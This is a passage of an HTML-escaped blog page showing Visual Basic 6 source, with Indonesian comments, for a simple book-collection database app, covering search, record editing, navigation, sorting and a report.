/&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;&lt;span style="font-size: x-small;"&gt;Option Explicit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private WithEvents adoPrimaryRSdaftarBuku As Recordset&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub CboSearch_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika cbosearch diklik&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case CboSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'memilih Judul&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub DisableSearch()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = "Masukan Kata Kunci Pencarian"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;CboSearch.Text = "Pencarian"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command1_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If TxtSearch.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Beep&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika cbosearch dipilih&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case CboSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika data tidak ditemukan maka&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.EOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Data yang anda cari tidak ditemukan", vbOKOnly + vbCritical, "Search"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error GoTo 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Load()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim db As Connection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set db = New Connection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;db.CursorLocation = adUseClient&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;"Data Source=" &amp;amp; App.Path &amp;amp; "\Daftar Buku.mdb;"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set adoPrimaryRSdaftarBuku = New Recordset&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Open "TblDaftarBuku", db, adOpenStatic, adLockOptimistic&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Bind the ole controls to the data provider&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtJudul.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtReferensi.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtPenulis.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set TxtCetakan.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtPenerbit.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field referensi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Unload(Cancel As Integer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Close&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuBatal_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'disable textbox&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'batalkan update kemudian menuju ke record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.CancelUpdate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemabout_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menampilkan pesan mengenai aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Koleksi Bukuku Version 1.0.0 Oleh Joko", vbInformation, "Koleksi Bukuku"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemadd_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menambah data buku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.AddNew&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'textbox enable/dapat diisi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pointer aktif di txtjudul&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemdelete_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Hapus daftar buku record aktif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemedit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengaktifkan textbox agar dapat diubah daftar bukunya&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemexit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengakhiri aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemreport_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Main 'MENUTUP APLIKASI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Shell App.Path &amp;amp; "\KOLEKSIBUKUKU.EXE" 'MEMANGGIL APLIKASI KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DataReport1.Show 'MENAMPILKAN LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemsave_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan daftar buku yang telah di inputkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Save&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuFirst_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menuju ke record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuLast_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menuju ke record terakhir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveLast&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnunext_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menuju ke record setelah/ke depan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveNext&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika record sudah sampai pada record yang terakhir maka akan berbunyi nada beep dan record yang aktif adalah record terakhir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.EOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Beep&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveLast&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuprevious_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MovePrevious&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika record sudah sampai pada record yang pertama maka akan berbunyi nada beep dan record yang aktif adalah record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.BOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Beep&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUpdate_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;With adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengedit data pada record aktif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Clone&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Judul = txtJudul.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Referensi = txtReferensi.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penulis = txtPenulis.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!cetakan = TxtCetakan.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penerbit = txtPenerbit.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan hasil pengeditan data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End With&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;mnuitemdelete_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutJudul_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field Judul&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutpenerbit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field Penerbit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 